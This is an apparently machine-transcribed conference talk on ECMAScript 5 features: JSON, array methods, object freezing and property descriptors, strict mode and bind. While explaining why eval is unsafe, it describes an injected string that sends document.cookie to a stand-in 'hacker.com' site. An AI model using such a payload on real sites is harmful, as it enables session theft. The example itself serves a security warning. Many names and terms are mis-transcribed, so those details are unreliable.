 So, what is ECMA script 5, right, if you have never heard of it, you know you might be thinking why you talk about ECMA script in a month and a half, it turns out the standard ECMA script is basically standardies for JavaScript, this is a code from Brent and Aish, Brent and Aish designed the language when he was with NXK, he obviously doesn't like the name, but that is the scripting language standardized by ECMA International in the ECMA 262 specification. So, all those numbers, they don't mean anything, but basically it's the standard, you know there's just like we have standards for everything, right, we have standards for HTML, CSS. So, we have standard for JavaScript only it's not called JavaScript called ECMA script, technically they are not the same, there are differences, but for all practical purposes, you know, you can't refer to them using the same word. All right, so this was approved ECMA script version 5 is the latest revision of ECMA script, it was approved by ECMA in December 2009, so it's been a while now actually. This is the successor to ECMA script 3, ECMA script 3, you know so you might wonder what happened to ECMA script 4. It's not that ECMA is not down, what happened was, you know, they used a problem of finding out more than an issue, so they wanted to actually make changes to JavaScript, right. So, they asked it as all these problems, some of which we saw in the previous session, so they wanted to increase the language and, you know, it was no longer in JavaScript, it looked like something else. So, you know, they kind of, there was a lot of disagreement, there was a lot of consensus and they said let's just park it and do ES5. So, this is on the world, I guess from ES4, it does not exist, and you don't make ES5. The next version is called name nominee. As you know, you probably heard during the day today, there are many interesting developments happening in the next version of ECMA script as well. But one thing that I kind of, you know, noticed was, especially when I was listening to the session on coffee script, I read this blog post, you know, sometime back where they had called JavaScript as the assembly language of the web, you know, which is an interesting way of looking at it. So, how many of you here code in assembly language? So, there is this view that JavaScript is the assembly language of the web now because, you know, it has all these problems, there are some nice parts, you know, that's another joke. So, there are two very popular books for JavaScript. One is called JavaScript with Definitive Guide. I forget the name of the author. The book is about that thing. It's a very thick book. It's a reference for JavaScript. You read that, you know everything. Then Douglas talked about what a book called JavaScript, The Good Parts. That was about that thing. Right? So, what is the rest of it? Right? So, why did I say that? Yeah, so JavaScript, you know, is being, you know, considered as a target for other programming languages, like coffee script. Right? So, coffee script compiles and produces JavaScript. Just like your C++ program compiles and produces machine code. It produces assembly, assembly produces assembler, assembles it and produces machine code. So, you know, there is this view that might happen. It is an interesting take on it. You know, maybe things will head in that direction or maybe not. You'll have to wait and watch. So, what kind of support is there for ECMAScript 5, you know, as of today in across browsers? So, you know, actually, I ran this test yesterday. Anybody can go and run it. The ESPY test suite is available on ECMAS. You can just run it in the browser directly. So, it has about 11,016 tests. And IE10, PP3, 5.7, IE9. So, this graph basically shows you the number of failed test cases. So, the lesser is better. So, IE10, PP3 seems to have a very good compliant implementation of ECMAScript 5. Surprisingly, Chrome kind of is lagging in this particular metric. But what you will notice is, you know, this is pretty good compliance level, right? So, even if you consider Chrome 14, which is 427 failures, that's relative to 11,016 test cases. I think that's a pretty good ratio. So, as far as standard, you know, browser support is concerned, modern browser is great support for ECMAScript 5, right? With regard to, before we go to that, with regard to browser support, another thing that we can talk about is ECMAScript 5 is one of the design goals if you want to stay in that way. Even designing offices of ECMAScript 4, like ECMAScript 4, which never saw the light of day, they were making crazy changes, right? So, you know, your ES3 code would not manage ES4 code, right? In fact, the compatibility was being broken as part of ECMAScript 5, since it was not there. And ES5 was exactly also causing the ES4 code. Like backup compatibility is extremely important. It turns out that the vast majority of ES5, you know, features and new capabilities that are available in the language can be completely implemented with ES3. There are some specific parts of it which you cannot implement without support and without changing the task manager itself. But it turns out that the vast majority of ES5 can, in fact, be implemented using just ES3 code. So, an old browser that does not know ES5 can still benefit from a new type of ES5 or just new languages. In fact, in fact, you look at that. So, this is a pretty decent story, at least, as far as ES5 compliance is concerned. Not so good story on the rest of the web, you know, HTML, CSS. It's a mess. So, we can, you know, we'll talk about some of the new capabilities that are available in ES5. So, JSON, right, JavaScript Object Notation is a pretty popular format for data interchange on the web, right? So, you send data to services using JSON. You receive data back from services via JSON, formatted as JSON. The alternative used to be XML. XML tends to be unnecessarily verbose, right? There's usually more metadata than data, right? You'll have starting tag, ending tag, and one character in the middle, right? And the tags will be, like, really big. So, you find that JSON is not like that. It's much more terse, like, very minimal metadata is there. And, you know, you actually pay for only the data that you're actually sending and receiving. So, it turns out with ES5, support for serializing and deserializing JSON is available out of the box, right? So, there is an API to do that. It's a very straightforward API. In fact, this was created by Douglas Crawford, who had a very funny story to tell about that also. Let's, maybe I'll say that if you have time. All right. So, what you can do is, so you can, you know, take any object like this, right? So, if you have an object person, okay. Maybe I'll call this person and say name. It's that. I'll say age is that. And you want to, you know, send this particular object to a service as JSON, right? So, how will you do that? So, you have an API called, you have an object called JSON. And you can say JSON.stringify, okay. It's not good on that part. JSON.stringify of person, right? And now if I just hit enter, you can see that it has actually converted into a string and it is well-formatted JSON, right? So, JSON requires, for a well-formatted JSON string requires that even your attribute names be enclosed in double quotes, right? So, in fact, what I have defined here is not well-formed JSON. So, if you actually want to do it correctly, you have to do it like this. So, that's proper JSON. So, it does this. And you can get the, you can get the reverse also, right? So, this is a serialized version of that, for that JSON. Or maybe let me do it this way. So, if I have a string like this, right? So, I'll say name, I'll have to escape the double quotes. I'll say name is foo. Age is 10. Obviously, number does not need to be in double quotes because it's a number. Now I can say var o equals JSON.parse of s. And now I can say print o.name, print o.page, right? So, you can see that, you know, basically it converted that string into an object. So, this, this particular API was designed by HLACOS software. So, we actually wrote a library called json to.js, right? So, you can actually go and, you can actually go and download and you can do it in your pages. And it will work properly. So, if you have a browser, which has applied the CMS method by the implementation, then json to.js will automatically use that implementation. It won't try to do it in fancy. So, if you have a older browser, json to.js type, then it provides an implementation, etc. So, this is an example. You know, it was the five pages, it can be backed up, right? The funny story that Douglas Stockford mentioned. So, he was here in India for the Yahoo hackathon event, which happened in Bangalore probably a couple of months back. So, he was talking about this JSON to library. And he said that, so he made this library, right? And he put a license for that, right? So, his license text was this. Don't use it for evil. That was his license, right? It was not GPL, it was not LGPL, it was not MIT, it was not Apache. Don't use it for evil. He assumed that it's about as evil as it may be, right? Nobody will complain for that, right? It was wrong. So, first of all, I didn't make a complaint. Say that, hey, listen, I won't use it for evil, but even my customers might use it for evil. If they use it for evil, they might sue me, right? So, you have to make a complaint. Don't use it for evil. Accept IBM and IBM customers. We are, Google is the company that says, Group E, right? And they are company investors. So, they said, listen, we are so open that we are open to evil also. So, we are not. So, just because somebody wants to use Google Maps, they do something very, very bad, they don't understand. Just because they want to use it. So, that is the case, those customers are directed by a license. So, finally, what he had to do was, he took out that license, put it on GitHub, and he said, the GitHub license now applies. Whatever is the default license is there on GitHub. So, that's how it resolved that situation. He had other funny stories also, but we'll come back to our session. So, this is... So, one reason why you might use the native implementation is it's way faster than, you know, the JavaScript version, where it has to actually parse your string. There's actually another way you can do this. Has anybody know? Sorry? Eval. Eval, right? So, actually, what you can do here is, in fact, this is how we used to do it. So, we can say var o equals... Let me get this right. I think I have to enclose this in a bracket, right? Then I can say o.name o.h. See, that works as well, right? But just because it works doesn't mean that you should use it. The reason is this is extremely... One reason is it's insecure, right? This piece of string, I have typed it here, but that you might have got the string from anywhere, right? From the web. There might be a hacker sitting in the middle who might have changed your string and given it to you. You know, somebody might have just changed this to, you know, something like this. Window.openofhacker.com cookie equals plus document.cookie, right? And we'll just happily eval that. So, it will basically do a window.open take your session. So, this is extremely insecure. So, if you want to do this, then you have to go and sanitize this, validate it, a whole bunch of headache. Don't try to do that. Use the library. And it is faster because it's implemented in the engine directly. It's way faster than doing it yourself. There are a whole bunch of new array capabilities that are available in ECMAScript 5. These are some of my, you know, most favorite enhancements to ES5. Note the pro-PPD tip if you want to. So, what I'll do is I'll create one array here. Okay, array of numbers. So, there are, you know, for example, you iterate through an array. How do you typically do it? You say for y equals zero, y is an array dot length, y plus plus, and all that, right? Now you have a functional way of doing it. So, you can say array dot for each and you can pass a function which will be, you know, it's basically a predicate, right? Which will get invoked for every element in the array, right? So, it's basically, for each, it's very simple. It is doing for y equals zero, y plus, and so on. And it's calling your function. Again, it's an example of a functionality that's there in ES5 which is very easily backward-portable, right? In fact, if you look at the, look at the modular documentation for, oh, I don't have my data card here. Okay, so I'll plug this in by the time it comes in. There is a Wi-Fi. Eeks are us. Eeks are us. Yes. Good password. So, as you can see, I'm on Windows 8. Somebody complained that I'm doing all my sessions on Windows 8 and didn't even show the home screen. All right. So, mdnarray. For each. So, you'll note, if you look at the documentation for many of the ECMAScript 5 features, the modular documentation actually provides a fully compliant, most of the time, a fully compliant implementation of that particular API in ES3 syntax, right? So, which is really neat. So, you can simply take this and, you know, plug it into your project and you'll have, you know, and they check for it, right? They do feature detection. They'll check whether for each is not there. It's not there. They'll add it to the prototype for array. And then you can just call it, right? In browsers where you have support for it, it'll be native. Otherwise, this will work. So, in fact, for all of these API calls, this is what I was meaning. Like, you know, most of these API, ES5 APIs are available for older browsers. And it's easy to, not easy to implement, but it's possible to do it because to do it correctly, there's a lot of work, right? There's a lot of stuff. So, you can do this. What else? So, you have filter. Filter is another interesting method. What you can do is function, I get a value, and I can apply basically a predicate. And this returns another array, right? So, I'll say array 2 equals filter of this. Let's say the canonical example is that. Then I can say print array 2. And you can see that from 1 to 10, I have 2, 4, 6, 8, 10 because I'm filtering for even numbers. So, you know, filter allows you to do that. You have map. You see the two functions, map and reduce. You've heard of that before? Map, reduce, map, reduce. Google, map, reduce. So, this is actually, this is the fundamental foundation on which map reduce is based on. Array.map. And I can say, so basically this transforms your, transforms in general terms. It transforms one sequence into another sequence. That's what it does. In this case, it transforms an array from one kind of array to a different kind of array. However, it is, right? So, for instance, I can say return v star v. And you can see that, you know, basically squared all the numbers, right? So, 1, 4, 9 and all that. So, and doesn't even have to be numbers, right? So, for example, I can say v dot 2 string plus boo or something, right? So, now you have an array with 1 boo, 2 boo, 3 boo. So, basically I've changed the type also now, right? So, any kind of transformation can happen. I take numbers, convert them to strings, anything. Anything that can go into a legitimate JavaScript array can, you can, can be returned from this. In fact, JavaScript array is a bit funny that it can be different types in different locations also, right? Array of 0 can be an object. Array of 1 can be a number. Array of 2 can be a string. Array of 3 can be something else. So, all that you can do. Reduce is very similar, except this doesn't turn this doesn't produce another array. It produces a single value. So, in fact, it accepts two parameters and you can do some operation on it. In fact, you can pass a initial value also here. So, for example, I can say 5 and here I can return v plus, sorry, v 1 plus v 2. And then I can, ugh, I did a pack. It's all gone. So, I'll just keep 5 elements here. So, what you can do is you can say our val equals array dot reduce of function of v 1 comma v 2 and you can do this. So, you can say return v 1 plus 2 print val, right? So, it says it's 15. So, what, what really happened here? So, I can initialize a value also here. So, now it says 20. So, which means that for the first call of, so basically this function is going to get invoked for every element here, right? So, first it will call this with. So, in fact, what we can do is we can print that. So, that's very clear what's going on. So, s print f, v 1 is this, v 2 is this, v 1 comma v 2. So, you can see what's happening. So, here, you know, v 1 is 5 for the first iteration because that's what we passed as initial value here in the second parameter. And the second parameter is the first element of the array and so on. So, what is the first element here? The sum of what I returned in the previous. It's basically, you know, it's collapsing your array into a single value, right? So, here I'm just summing all the values up. Now you can, you know, whatever is applicable in your scenario, you can do that. It might sound like it's a very simple thing, but it's actually a very powerful notion. You have an array of strings, yes? So, I have s 1, s 2, s 3 and you want to work on that, right? So, v 1, v 2 and all will be s 1, s 2. So, whatever operation, what shall we do? I don't know. So, that's what you get. Yeah, yeah. So, s 0, right? So, that's because I said percentage d. So, you have too much mark there, okay? So, yeah, so any element, it will work on any element. So, that's map and reduce. Index of is an interesting function, but I'm kind of disappointed with that API. So, what you can do is, you can say index of s 2 and you'll say it is 1 or I can say index of s 3, it will say it's 2. What I would have liked to be able to do is pass a function here so that I can specify what is my selection predicate, right? However I want, here you can't do that. I have to give a value. So, in this case, it might not be such a big deal. So, for instance, what if I have an array of objects, right? So, let's say a colon 10, a colon 20, a colon 30, right? So, I have three objects here and how do I search now, right? So, I'll essentially have to search for something like array of 1. Then it will give me that, right? What I want to be able to do is imagine a more complex object, right? Which has many fields. I want to get all those, I want to get the index of, let's say it's a collection of person objects with an address. I want to get somebody who is in Bangalore. So, basically I want to be able to give that condition. You can't do that. Filter method is there. So, you will get one array, an array with one element. Yeah. Yeah, we can do that. So, then we have a useful function called every, which returns a boolean, true or false. So, what you can do is, for example, here I can say are all the a's in this array numbers. So, if you want to ask a question like that. So, I can say for array dot every function of o. So, I will say, so what will be the, see with JavaScript I can never say what it will say for type of. So, what do you guys think it's going to say? Array of 0 dot a. Anybody wants to hazard a guess? Number, hopefully? Yeah, number. So, I have to check otherwise I can't tell. So, I will say return type of o.a equals number. So, this is expected to return a boolean value. So, it says true, right? Because it is true that, let me format that a little nicely. So, in this case it is true that every element a property is a number. So, if I go and make this a string for instance, right? It returns false now because even if one element does not satisfy a condition, the whole expression evaluates to false. So, some, anybody wants to guess what will happen? So, at least if one of them is a number, it will satisfy the condition. The only time it will return false is if all of them are not numbers. All right. So, those are some interesting array enhancements. These are new to ES5 not there in older, in the older version of this spec. Yes. Chances are the regular loop will be faster, but again as somebody else is asking the previous session, those are micro optimizations, right? So, what I would suggest is go with for each. The reason is when you use for each, right? You are operating at a much higher level of abstraction. Now, who knows what JavaScript engines can do, right with that? So, for example, tomorrow, right? Somebody comes up with some tremendous advancement happens in JavaScript engine implementation. Somebody discovers that in certain situations, a certain iteration function can be parallelized on multiple cores. And the JavaScript engine wants to do that optimization and they implement it, right? If we operate at a higher level of abstraction other than saying, you know, start this iterator, you know, initialize this value, check this condition, increment this and go do this, you know, that's basically something that a computer cannot reason about that logic. In fact, if you see, you know, the evolution in all the most languages, like for example, in C sharp, you know, with C sharp 3.0, they introduced the link-based programming. Then, you know, then basically what it allows you to do is express some intent at a higher level of abstraction than you're doing at a lower level. So, from that sense, I think it's always safer to do that. If you, whatever it suggests is use for each and all these new capabilities, if you have a performance issue, optimize. Chances are you will not have issues here, it will be somewhere else. So, the nice thing about using those libraries is they might revert to for each if for each is supported, because that will probably be faster than the JavaScript version of it. If it is not supported, then they'll do the correct thing. So, that's nice. The object model, you know, there are some new functionalities available. We saw some of these in the, in the previous session. We saw get prototype of, we saw the keys method. So, let's, let's see some of the other interesting things that ES5 brings to the table. So, for example, right, JavaScript is, is too dynamic for its own good sometimes, I think, right. So, you know, I can have a, I can have an object like this, right. Now, nothing stops. Nothing stops anybody from, you know, going and doing something like this, right. I mean, this, this will work perfectly fine. So, if I say print.o.food and, you know, that, that works fine. You know, what stops somebody from doing something like string. Let's see or, or let's say some other, some other thing. Array.prototype.joins there, right. So, I'll say alert, ha, no joint, right. So, now if I have an array, like one, two, three, right. And I try to say print array.join of comma, right. So, what we get is this. Why are we getting so many times? I think I'm stuck now. Any idea why are we getting so many? Okay. Yeah. So, you can do all that, right. You can go change some standard functionality and, you know, and you would never know. So, that's in fact one of the reasons why, you know, for example, it's considered a best practice to not do this. var, ar equals new array of one, two, three. You know, this also you can do, right. So, if I say print array.link, it'll say three, you can access zero, one, two and all that. But this, this syntax can be hijacked, right. Some, you can include some library, which is not well-designed. They were not disciplined about not polluting the global scope. They might go and, you know, define their own array. And then when you say new array, you'll get their array instead of the standard array, right. This can always happen. So, it's always considered best practice to use this syntax to define your, so this is an empty array, right. Or you can initialize it with some values. This cannot be hijacked because this is a language feature, right, language syntax. This will always be a JavaScript array. The same thing goes for creating objects. You know, do that. If you want to create an empty object, don't, you know, use any of the APIs. Like, you can say object.create for that. But anyway, those are some things to remember. More gotchas. So, object.create has some very, very nifty capabilities now. So, for instance, I want to create a, I want to distill out what just happened, right. I want to create a, I'm going to talk about this now, okay, prevent extension, seal and freeze. So, what are we able to do? We are able to create an object, create a new dynamic property called foo on it, right, and we want to distill out that. So, what I can do is I can create an object like this. So, name is this. So, that's done. Now, what you can do is you can say object.prevent extensions of o, right. Now, if I say o.boo equals bar and print o.boo, nothing is going to happen. Or if I say type of that, it's going to say undefined, right. Because basically, this is getting ignored. This particular line of text got ignored. So, that's because this is a, this is one of the capabilities that you cannot backport by implementing it in ES3 JavaScript. Because this is something that the runtime has to enforce, right. So, you cannot duplicate this functionality. So, you can do that. Then there is, there are three other, two other variants. One is called seal and other is called freeze. So, what are the difference between those? So, seal, so prevent extensions allows, disallows extensions, right. But I can still go do this. I can say name equals bar. Now, if I print o.name. So, I'll change this back to prevent extensions. So, it prints o.name is bar, right. Now, that that works. Now, if I say freeze, you'll see that o.name equals bar gets ignored, right. Basically, your object becomes free only. Nothing can be modified. No properties can be changed. Sorry? Like the, yeah, yeah. So, in fact, what I use this particular feature for is when I want to declare or simulate enums. So, you have enums in Java and C-sharp, right. So, for example, I want to say, you know, input type. So, I'll say object dot, object dot freeze. And, you know, I'll say mouse is one, keyboard is two, right. So, now this becomes an enum that you can use. So, I can say, you know, print or, you know, I can, you know, I can say input type dot mouse. So, what this also means is this becomes a constant that will never change, right. So, nobody can go and do this or nobody can go and do this, which is more tricky, right. So, you can see that it's still one. So, that's a great use for freeze. Again, these are features that cannot be back coated. You need runtime support. Object dot seal, yeah. What is the difference? Reference. Good question. I have no idea. We can try that actually. So, if I say, sorry. Yeah. Yeah. So, if I say, who is this? And if I say name is that and that's done, right. So, if I say print, sorry. Oh, thanks. So, if I say input type dot who dot name, that's fine. So, anybody wants to hazard a guess what's going to happen now? I think it will change. So, it changed, right. I mean, because that is another object. It's shallow. It's a shallow freeze. That is just saying if I say var s equals j is who and then s equals object dot freeze, print s, s equals who j is, print s. What's happening? I think I have too much craft there. So, this returned undefined. Looks like maybe an error, right? Yeah. There you go. That's the answer. Only an object, primitive type is not allowed. Nice. For once, we get a good error. So, okay. So, we saw freeze and prevent extension. So, it's like in the order that I've given, that's how restrictive it gets. So, prevent extensions allows, disallows extensions, but you can edit. Seal does what prevent extensions does. So, you cannot extend. In addition, it goes and makes your property descriptors unchangeable. Now, I know that makes no sense. I'll talk about object dot create. So, we'll talk about property descriptors. Then, we'll come back and revisit seal. Then, you'll know what seal disallows. And freeze is the most restrictive. So, it does what prevent extension does. It does what seal does. And then, it goes and makes all your properties non-reference member properties read only. In fact, even references become read only. So, you can't assign that to some other object. But the object that it refers to is not read only. Anyway. So, let's talk about properties, right? Properties and property descriptors. So, I have this name foo here. Imagine that, you know, I don't want to whole fail do what I've been doing. That is seal, freeze, prevent extension, entire object. I want one particular property to be read only, right? So, let's say I have a name here. I have age also. And so, I want name to be read right. And I want age to be read only. How can I do that? So, you can use the object dot create syntax. So, I'll use an empty object as the prototype. We saw this in the other folks who haven't come in the previous session. What happens here is, when you say object dot create, whatever you pass the first parameter becomes the prototype for the new object that gets created, right? So, in this case, I'm passing an empty literal as the prototype object for O. So, whatever O will be after this line, its prototype will be this empty object. It is basically the object object. It doesn't have to be. We'll see an example of that. Then that will be clearer. But what I'm going to show now is how you can, you know, extend this with new properties of your own. So, second parameter to object dot create is basically another object where you basically specify what are the properties. So, I want there to be a property called name, right? And here I'll give the attributes of that property. So, what will be the initial value? So, initial value will be this. Is it writable? So, I'll say true. Is it innumerable? I'll say true. Is it configurable? I'll say it's true. So, we'll see what all of these things mean. So, if I want to make this read-only, it must be pretty evident what I should do. I'll say writable should be false. I'll say innumerable should be true. And configurable to be true. So, now if I say print O.name, it'll say O.name is foo. O.age is 10. So, that's... So, I'll say print O.name, print O.age. So, I'll say O.name equals bar. O.age equals 20. And put the same thing here. And you can see that true 10 became bar 10. So, the O.age assignment did not work, right? Because you've declared O.ages writable as false. So, what are innumerable and configurable? Innumerable determines whether the property that you're defining will show up when somebody reflects on your object. So, it is possible to reflect on objects in JavaScript. So, you might have heard of a syntax called for var i inn, right? Which you can use to, you know... So, for instance, I can do something like this. So, I can say for var i inn document.body You can say print i, you know... So, those are all the properties available in the document.body object, right? If you want to get the value of it, you can say document.body of that property name. Then you'll get the value also. I'm not going to do this here. I don't know what will happen because I won't do that. But you can do that for any object, right? So, if you just say var i inn, it'll innumerate. So, this thing controls whether you can do that for. So, if I give o here... So, let's go back to putting i. So, it says there are name and age. So, let's see what happens if I give false for name. So, now you can see that name is not getting enumerated, right? Only age is getting enumerated. So, that's what that controls, whether you can enumerate stuff or not. In fact, this is... I mean... So, let me show you. So, I'll comment this out. So, there's a keyword in JavaScript called debugger, which you can use to insert a hard breakpoint into your code. So, if you have a debugger attached, then when the runtime JavaScript engine encounters a debugger line, it'll break into a debugger. So, what I'll do is I'll... I'll change this to false. Copy that. Go to here and I'll say start debugging. That's okay. We can ignore that. Looks like I have some fixing to do, but we'll do that later. So, now if I hit control enter, the debugger hits that line and, you know, you can debug it. Now, the interesting thing is, now the object has been created, right? I can go to my watch window and if I go hit O, even here, your name property won't show up. So, this can trip you up. So, once I did this and I was like, where did all my properties go? You know, it didn't occur to me that I had made them non-enumerable. So, remember that even the debugger respects it, which is odd, no? I think it shouldn't respect that. Anyway, maybe it can show it in a different color or something to show you that it's not enumerable. Yeah, I think it looks like... So, that's what that controls. Configurable, true or false, controls, weather. So, I mentioned something called property descriptor earlier, right? So, this is the property descriptor. So, this object which configures this property is called the property descriptor. Configurable tells you whether you can alter this descriptor subsequently, later on. So, for example, I have age as non-writeable, right? So, if I sometimes my control key gets stuck, okay? So, if I go do something like this, if I say print o.age, o.age equals 20, print o.age, obviously no effect. Now, what I can do is I can say object.define property. I can pass that object, I can pass the name of the property and specify a new descriptor. So, I can say value, doesn't matter, 10, right? And I can say writable is true. I'm changing that. I'll keep the other two the same. Enumerable is true, configurable is true. And now I'll take this code here and paste that there. So, now you can see that initial didn't change, but after I did the define property, 10 becomes 20, right? So, basically this call here define property is used to change the property descriptor associated with a particular property. So, something that was not writable, I've made it as writable. So, now we can go back and talk about seal, right? So, what seal does is it makes all your properties in addition to prevent extensions, right? Seal does what prevent extension does and then it goes and does this also. All right. So, that's those are some of the new capabilities. So, you have define property and there is another plural version of this called define properties where you can define multiple properties. So, how you do that is the API is slightly different. In case of define property, you specify the name of the property here and the descriptor. In case of define properties, you basically pass in an object like this. That's all. Just one more level of indirection, right? So, basically you pass an object which has properties with a name and the values are the descriptors. Exactly the same as what we did for object on create. So, that's define properties. Interest of time, I won't run it. Okay. Yeah, next up is Ramas. All right. So, we saw some of these. So, there's another interesting thing here. The last line here, get own property names and keys, right? So, let's get rid of all the rest of this stuff here. I'll make this innumerable true. So, you can say object dot keys of O. So, this we saw in the previous session also. So, what it does is it basically gives you the own properties of that particular object, right? Now, imagine that you do something like this. O2 equals object dot create. I'll pass O as my prototype and I'll create some new properties here. So, I'll say gender as a property and I'll say value is that, right? I will a bit of a pain to do all this, but all right. Maybe I'll make that true. Doesn't matter, right? So, now if I run O2 here, it only shows gender, right? Because it shows only the own properties. It doesn't. No, no, no, that's fine. I got permission. So, this gets the own properties, right? Now, there is another getOwnPropertyNames is another API which does exactly the same thing. Name age and this. So, you might wonder what is the difference? Why do you have two APIs that do the same thing? So, let's see. So, I'll say keys, right? So, it prints name and age. I'll go and make this innumerable false. So, it prints only age, which is as expected. So, now we can see that it completely ignores your innumerable properties. So, in case you need to do that, you have a way of doing that. The debugger should have used this. It's not doing that. Okay. So, some of the things I wanted to cover was trick mode. So, I'll just briefly talk about trick mode and I'll talk about function bind and I'll stop. So, trick mode is kind of important. In fact, it's probably the most important feature in ES5. So, JavaScript has a lot of words, right? Many weird features. So, one of the things, one of the biggest topics there is kind of was to introduce a new execution mode for example, write some lines of your engines where the semantics of the language changes. So, some of the things that you could work in a certain way in understricted mode is this new mode. So, what can you do? So, these are some of the attributes of trick mode. Very, very simple to do it. Any code, right? It can be global code, eval code or scope of functions. Which means regular functions, stuff you put in eval which you shouldn't do in mobile code. All of this can be trick mode code and how do you make it strict? Just prefix it with one line like this. You strict in a string. Now, the beauty of this is your code will work perfectly fine in ES3 engines, right? Because an ES3 JavaScript engine will encounter this line. It'll find that you've created a string and you've discarded it. It'll probably not think very highly of you, but it'll just ignore it and continue, right? Whereas ES5, this has a special meaning. So, as soon as it sees this, it'll change your language. Some interesting things. Nested functions inherit strictness. So, if you create a function, say you strict and you have some code and then you define a function inside that function. Whether you say you strict inside that function or not, it is strict. So, nested functions will inherit the strictness. Strictness won't cross call stack boundaries which might be as expected, right? So, if you have function A, function B, function B is strict. But function B is calling function A which is non strict. So, function A will run as non strict, function B will run as strict, right? So, it won't cross call stack boundaries which is, I think, correct. So, that's the syntax. These are some of the semantics. The first one itself is worth it, right? So, you cannot create a variable without declaring it. So, you can't simply say name equals value. You have to say var something, declare it and then only you can assign to it which is awesome because you cannot accidentally introduce identifiers into global scope. So, that's what you might have seen, right? They're showing some simple, I think, again, stress session. So, if you say A equals 10, B equals 20, right? It might look tricky but this is not correct because I meant to put a comma here, I put a semicolon. So, B equals 20 now becomes the property of your window. So, if I say print window dot B, it will print 20, right? So, you never knew that this is what is happening but that's what the JavaScript runtime went and did. It added that to the window object. So, if I say strict, in fact, we can try that. So, if I say strict here, use strict and I'll have to give it a name. I think the next session people are waiting so it's not fair for them. So, you can, nothing happened? That's unusual. So, what I was expecting is an error to show up here which would say that there we go. Just needed a refresh. Variable undefined in strict mode, right? So, you can't do that. It will throw an error which is an awesome feature. So, I'll share this deck with everybody on my blog so you can go through that. I've actually made some posts about this as well. Looks like I don't have time for function dot bind which is one of my favorite ESPY features. Okay, what function dot bind does is if you have a function, you saw that call that I was speaking about, right? Where you can pass a context. You can permanently bind a context with a function. So, you can say some function dot bind of some context that will return another function which is permanently bound to the context. So, whether you call it as f like that or f dot call doesn't really matter. Whatever you bound it, it's permanently bound to that object. So, you can go and try that. So, just create a global function. Say this dot something equals something, right? And then bind it to one particular object where that property has a certain value. Then try calling it with a different context. It won't take effect. Call it without any context. You'll still have a context, right? Basically, it allows you to, you know, bind a context permanently to a function. So, which is good in many situations. So, that's how you can get in touch with me and that's it. Thank you.